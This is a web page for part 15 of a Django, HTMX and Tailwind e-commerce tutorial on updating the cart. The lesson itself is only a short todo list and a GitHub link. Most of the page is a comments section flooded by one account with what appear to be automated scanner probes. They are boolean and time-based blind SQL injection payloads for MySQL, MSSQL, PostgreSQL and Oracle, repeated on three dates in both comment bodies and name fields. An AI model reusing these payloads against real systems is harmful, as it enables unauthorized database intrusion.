Updating the cart - Django Ecommerce Website - Htmx and Tailwind

In part fifteen, we are going to use HTMX and Django to add update functionality to the cart.

Part 15 - Todolist
-Move cart item html to separate file
-Add htmx wrapper for menu cart
-Create view and url for menu cart
-Create view and url for update cart
-Add htmx attributes for cart buttons
-Update total price

Github: https://github.com/SteinOveHelset/nordichomes/releases/tag/part-15

Login to track progress
Previous lesson Next lesson

Comments

EFSArCBy | Jul 02, 26 11:36

555

EFSArCBy | Jul 02, 26 11:40

555

EFSArCBy | Jul 02, 26 11:40

555

EFSArCBy | Jul 02, 26 11:40

-1 OR 2+408-408-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 11:40

-1 OR 2+564-564-1=0+0+0+1

EFSArCBy | Jul 02, 26 11:40

-1' OR 2+318-318-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 11:40

-1' OR 2+165-165-1=0+0+0+1 or 'T6BV959i'='

EFSArCBy | Jul 02, 26 11:40

-1" OR 2+47-47-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 11:40

555*if(now()=sysdate(),sleep(15),0)

EFSArCBy | Jul 02, 26 11:40

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

EFSArCBy | Jul 02, 26 11:40

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

EFSArCBy | Jul 02, 26 11:40

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

EFSArCBy | Jul 02, 26 11:40

555-1; waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 11:40

555-1); waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 11:40

555-1 waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 11:40

555lA0OimBi'; waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 11:40

555-1 OR 400=(SELECT 400 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:40

555-1) OR 880=(SELECT 880 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:40

555-1)) OR 116=(SELECT 116 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:40

555V3wUHx88' OR 179=(SELECT 179 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:40

555JMGVdnnj') OR 676=(SELECT 676 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:40

555ytu0RRw7')) OR 677=(SELECT 677 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:40

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

EFSArCBy | Jul 02, 26 11:40

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

EFSArCBy | Jul 02, 26 11:40

555

EFSArCBy | Jul 02, 26 11:40

555'"

EFSArCBy | Jul 02, 26 11:40

@@HkBmK

EFSArCBy | Jul 02, 26 11:40

555

EFSArCBy | Jul 02, 26 11:40

555

EFSArCBy | Jul 02, 26 11:40

555

EFSArCBy | Jul 02, 26 11:40

555

EFSArCBy | Jul 02, 26 11:40

555

EFSArCBy | Jul 02, 26 11:40

555

EFSArCBy | Jul 02, 26 11:40

555

EFSArCBy | Jul 02, 26 11:40

555

EFSArCBy | Jul 02, 26 11:40

555

EFSArCBy | Jul 02, 26 11:40

555

EFSArCBy | Jul 02, 26 11:40

555

EFSArCBy | Jul 02, 26 11:40

555

EFSArCBy | Jul 02, 26 11:40

555

EFSArCBy | Jul 02, 26 11:40

555

EFSArCBy | Jul 02, 26 11:40

555

EFSArCBy | Jul 02, 26 11:40

555

EFSArCBy | Jul 02, 26 11:40

555

EFSArCBy | Jul 02, 26 11:40

555

EFSArCBy | Jul 02, 26 11:40

555

EFSArCBy | Jul 02, 26 11:40

555

EFSArCBy | Jul 02, 26 11:40

555

EFSArCBy | Jul 02, 26 11:40

555

EFSArCBy | Jul 02, 26 11:40

555

EFSArCBy | Jul 02, 26 11:40

555

-1 OR 2+494-494-1=0+0+0+1 -- | Jul 02, 26 11:40

555

-1 OR 2+630-630-1=0+0+0+1 | Jul 02, 26 11:40

555

-1' OR 2+464-464-1=0+0+0+1 -- | Jul 02, 26 11:40

555

-1' OR 2+790-790-1=0+0+0+1 or 'nP88tL8A'=' | Jul 02, 26 11:40

555

-1" OR 2+659-659-1=0+0+0+1 -- | Jul 02, 26 11:40

555

if(now()=sysdate(),sleep(15),0) | Jul 02, 26 11:40

555

EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 02, 26 11:40

555

EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 02, 26 11:40

555

EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 02, 26 11:40

555

EFSArCByIZ6DvkhY'; waitfor delay '0:0:15' -- | Jul 02, 26 11:40

555

EFSArCByGYjG7d1h' OR 576=(SELECT 576 FROM PG_SLEEP(15))-- | Jul 02, 26 11:40

555

EFSArCBy48YPOHnL') OR 620=(SELECT 620 FROM PG_SLEEP(15))-- | Jul 02, 26 11:40

555

EFSArCByTbWw6UqJ')) OR 105=(SELECT 105 FROM PG_SLEEP(15))-- | Jul 02, 26 11:40

555

EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 02, 26 11:40

555

EFSArCBy | Jul 02, 26 11:40

555

EFSArCBy'" | Jul 02, 26 11:40

555

@@YGLDY | Jul 02, 26 11:40

555

EFSArCBy | Jul 02, 26 11:40

555

EFSArCBy | Jul 02, 26 11:40

555

EFSArCBy | Jul 02, 26 11:40

555

EFSArCBy | Jul 02, 26 11:40

555

EFSArCBy | Jul 02, 26 11:40

555

EFSArCBy | Jul 02, 26 11:40

555

EFSArCBy | Jul 02, 26 11:40

555

EFSArCBy | Jul 02, 26 11:40

555

EFSArCBy | Jul 02, 26 11:40

555

EFSArCBy | Jul 02, 26 11:40

555

EFSArCBy | Jul 02, 26 11:40

555

EFSArCBy | Jul 02, 26 11:40

555

EFSArCBy | Jul 02, 26 11:40

555

EFSArCBy | Jul 02, 26 11:40

555

EFSArCBy | Jul 02, 26 11:40

555

EFSArCBy | Jul 02, 26 11:40

555

EFSArCBy | Jul 02, 26 11:40

555

EFSArCBy | Jul 02, 26 11:40

555

EFSArCBy | Jul 02, 26 11:40

555

EFSArCBy | Jul 21, 26 12:32

555

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

-1 OR 2+580-580-1=0+0+0+1 --

EFSArCBy | Jul 21, 26 12:35

-1 OR 2+727-727-1=0+0+0+1

EFSArCBy | Jul 21, 26 12:35

-1' OR 2+562-562-1=0+0+0+1 --

EFSArCBy | Jul 21, 26 12:35

-1' OR 2+259-259-1=0+0+0+1 or 'jnH1GZZY'='

EFSArCBy | Jul 21, 26 12:35

-1" OR 2+919-919-1=0+0+0+1 --

EFSArCBy | Jul 21, 26 12:35

555*if(now()=sysdate(),sleep(15),0)

EFSArCBy | Jul 21, 26 12:35

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

EFSArCBy | Jul 21, 26 12:35

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

EFSArCBy | Jul 21, 26 12:35

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

EFSArCBy | Jul 21, 26 12:35

555-1; waitfor delay '0:0:15' --

EFSArCBy | Jul 21, 26 12:35

555-1); waitfor delay '0:0:15' --

EFSArCBy | Jul 21, 26 12:35

555-1 waitfor delay '0:0:15' --

EFSArCBy | Jul 21, 26 12:35

555FOh9RZot'; waitfor delay '0:0:15' --

EFSArCBy | Jul 21, 26 12:35

555-1 OR 679=(SELECT 679 FROM PG_SLEEP(15))--

EFSArCBy | Jul 21, 26 12:35

555-1) OR 925=(SELECT 925 FROM PG_SLEEP(15))--

EFSArCBy | Jul 21, 26 12:35

555-1)) OR 625=(SELECT 625 FROM PG_SLEEP(15))--

EFSArCBy | Jul 21, 26 12:35

555B2EBMWiJ' OR 705=(SELECT 705 FROM PG_SLEEP(15))--

EFSArCBy | Jul 21, 26 12:35

555HvjNCkCL') OR 67=(SELECT 67 FROM PG_SLEEP(15))--

EFSArCBy | Jul 21, 26 12:35

555vJfPCWDt')) OR 55=(SELECT 55 FROM PG_SLEEP(15))--

EFSArCBy | Jul 21, 26 12:35

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

EFSArCBy | Jul 21, 26 12:35

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555'"

EFSArCBy | Jul 21, 26 12:35

@@u8zHw

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555

-1 OR 2+465-465-1=0+0+0+1 -- | Jul 21, 26 12:35

555

-1 OR 2+380-380-1=0+0+0+1 | Jul 21, 26 12:35

555

-1' OR 2+496-496-1=0+0+0+1 -- | Jul 21, 26 12:35

555

-1' OR 2+29-29-1=0+0+0+1 or 'G8aZLtbn'=' | Jul 21, 26 12:35

555

-1" OR 2+219-219-1=0+0+0+1 -- | Jul 21, 26 12:35

555

if(now()=sysdate(),sleep(15),0) | Jul 21, 26 12:35

555

EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 21, 26 12:35

555

EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 21, 26 12:35

555

EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 21, 26 12:35

555

EFSArCBymS8QGr4Z'; waitfor delay '0:0:15' -- | Jul 21, 26 12:35

555

EFSArCByaxkDXpiC' OR 194=(SELECT 194 FROM PG_SLEEP(15))-- | Jul 21, 26 12:35

555

EFSArCByagnAvFsN') OR 776=(SELECT 776 FROM PG_SLEEP(15))-- | Jul 21, 26 12:35

555

EFSArCByd6oqnzvK')) OR 238=(SELECT 238 FROM PG_SLEEP(15))-- | Jul 21, 26 12:35

555

EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy'" | Jul 21, 26 12:35

555

@@7WQj3 | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy | Jul 23, 26 03:28

555

EFSArCBy | Jul 23, 26 03:31

555

EFSArCBy | Jul 23, 26 03:31

555

EFSArCBy | Jul 23, 26 03:31

-1 OR 2+495-495-1=0+0+0+1 --

EFSArCBy | Jul 23, 26 03:31

-1 OR 2+530-530-1=0+0+0+1

EFSArCBy | Jul 23, 26 03:31

-1' OR 2+410-410-1=0+0+0+1 --

EFSArCBy | Jul 23, 26 03:31

-1' OR 2+628-628-1=0+0+0+1 or 'OxWYPOPK'='

EFSArCBy | Jul 23, 26 03:31

-1" OR 2+117-117-1=0+0+0+1 --

EFSArCBy | Jul 23, 26 03:31

555*if(now()=sysdate(),sleep(15),0)

EFSArCBy | Jul 23, 26 03:32

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

EFSArCBy | Jul 23, 26 03:32

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

EFSArCBy | Jul 23, 26 03:32

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

EFSArCBy | Jul 23, 26 03:32

555-1; waitfor delay '0:0:15' --

EFSArCBy | Jul 23, 26 03:32

555-1); waitfor delay '0:0:15' --

EFSArCBy | Jul 23, 26 03:32

555-1 waitfor delay '0:0:15' --

EFSArCBy | Jul 23, 26 03:32

555TgoBqPNw'; waitfor delay '0:0:15' --

EFSArCBy | Jul 23, 26 03:32

555-1 OR 292=(SELECT 292 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 03:32

555-1) OR 549=(SELECT 549 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 03:32

555-1)) OR 869=(SELECT 869 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 03:32

555LsDeZFM1' OR 59=(SELECT 59 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 03:32

555CVb1QIan') OR 960=(SELECT 960 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 03:32

5559dViS37U')) OR 507=(SELECT 507 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 03:32

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

EFSArCBy | Jul 23, 26 03:32

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

EFSArCBy | Jul 23, 26 03:32

555

EFSArCBy | Jul 23, 26 03:32

555'"

EFSArCBy | Jul 23, 26 03:32

@@ujcDz

EFSArCBy | Jul 23, 26 03:32

555

EFSArCBy | Jul 23, 26 03:32

555

EFSArCBy | Jul 23, 26 03:32

555

EFSArCBy | Jul 23, 26 03:32

555

EFSArCBy | Jul 23, 26 03:32

555

EFSArCBy | Jul 23, 26 03:32

555

EFSArCBy | Jul 23, 26 03:32

555

EFSArCBy | Jul 23, 26 03:32

555

EFSArCBy | Jul 23, 26 03:32

555

EFSArCBy | Jul 23, 26 03:32

555

EFSArCBy | Jul 23, 26 03:32

555

EFSArCBy | Jul 23, 26 03:32

555

EFSArCBy | Jul 23, 26 03:32

555

EFSArCBy | Jul 23, 26 03:32

555

EFSArCBy | Jul 23, 26 03:32

555

EFSArCBy | Jul 23, 26 03:32

555

EFSArCBy | Jul 23, 26 03:32

555

EFSArCBy | Jul 23, 26 03:32

555

EFSArCBy | Jul 23, 26 03:32

555

EFSArCBy | Jul 23, 26 03:32

555

EFSArCBy | Jul 23, 26 03:32

555

EFSArCBy | Jul 23, 26 03:32

555

EFSArCBy | Jul 23, 26 03:32

555

EFSArCBy | Jul 23, 26 03:32

555

-1 OR 2+605-605-1=0+0+0+1 -- | Jul 23, 26 03:32

555

-1 OR 2+722-722-1=0+0+0+1 | Jul 23, 26 03:32

555

-1' OR 2+269-269-1=0+0+0+1 -- | Jul 23, 26 03:32

555

-1' OR 2+632-632-1=0+0+0+1 or 'BNByYFRd'=' | Jul 23, 26 03:32

555

-1" OR 2+941-941-1=0+0+0+1 -- | Jul 23, 26 03:32

555

if(now()=sysdate(),sleep(15),0) | Jul 23, 26 03:32

555

EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 23, 26 03:32

555

EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 23, 26 03:32

555

EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 23, 26 03:32

555

EFSArCBymGaKiZAY'; waitfor delay '0:0:15' -- | Jul 23, 26 03:32

555

EFSArCByTWP2dI4T' OR 777=(SELECT 777 FROM PG_SLEEP(15))-- | Jul 23, 26 03:32

555

EFSArCByJHEPnGUv') OR 763=(SELECT 763 FROM PG_SLEEP(15))-- | Jul 23, 26 03:32

555

EFSArCByirB1uA8P')) OR 358=(SELECT 358 FROM PG_SLEEP(15))-- | Jul 23, 26 03:32

555

EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 23, 26 03:32

555

EFSArCBy | Jul 23, 26 03:32

555

EFSArCBy'" | Jul 23, 26 03:32

555

@@i4JV2 | Jul 23, 26 03:32

555

EFSArCBy | Jul 23, 26 03:32

555

EFSArCBy | Jul 23, 26 03:32

555

EFSArCBy | Jul 23, 26 03:32

555

EFSArCBy | Jul 23, 26 03:32

555

EFSArCBy | Jul 23, 26 03:32

555

EFSArCBy | Jul 23, 26 03:32

555

EFSArCBy | Jul 23, 26 03:32

555

EFSArCBy | Jul 23, 26 03:32

555

EFSArCBy | Jul 23, 26 03:32

555

EFSArCBy | Jul 23, 26 03:32

555

EFSArCBy | Jul 23, 26 03:32

555

EFSArCBy | Jul 23, 26 03:32

555

EFSArCBy | Jul 23, 26 03:32

555

EFSArCBy | Jul 23, 26 03:32

555

EFSArCBy | Jul 23, 26 03:32

555

EFSArCBy | Jul 23, 26 03:32

555

EFSArCBy | Jul 23, 26 03:32

555

EFSArCBy | Jul 23, 26 03:32

555

EFSArCBy | Jul 23, 26 03:32

555

Add comment

Info

Please log in to comment!

Newsletter

Subscribe to my weekly newsletter. One time per week I will send you a short summary of the tutorials I have posted in the past week.